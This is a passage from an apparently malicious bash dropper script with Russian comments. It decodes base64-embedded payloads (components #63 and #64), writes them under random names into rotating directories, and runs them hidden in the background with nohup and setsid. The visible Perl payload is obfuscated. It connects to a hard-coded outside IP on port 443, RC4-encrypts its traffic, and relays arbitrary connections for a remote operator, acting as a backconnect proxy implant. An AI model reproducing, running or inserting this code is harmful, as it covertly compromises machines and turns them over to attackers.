ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #63 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #63 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 64 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #64 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #64 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi # --- КОНЕЦ ПОСЛЕДОВАТЕЛЬНОСТИ ЗАПУСКА --- echo "---" echo "[RUNNER] Все компоненты отправлены в фоновый режим." echo "[RUNNER] Скрипт-деплоер завершает свою работу." exit 0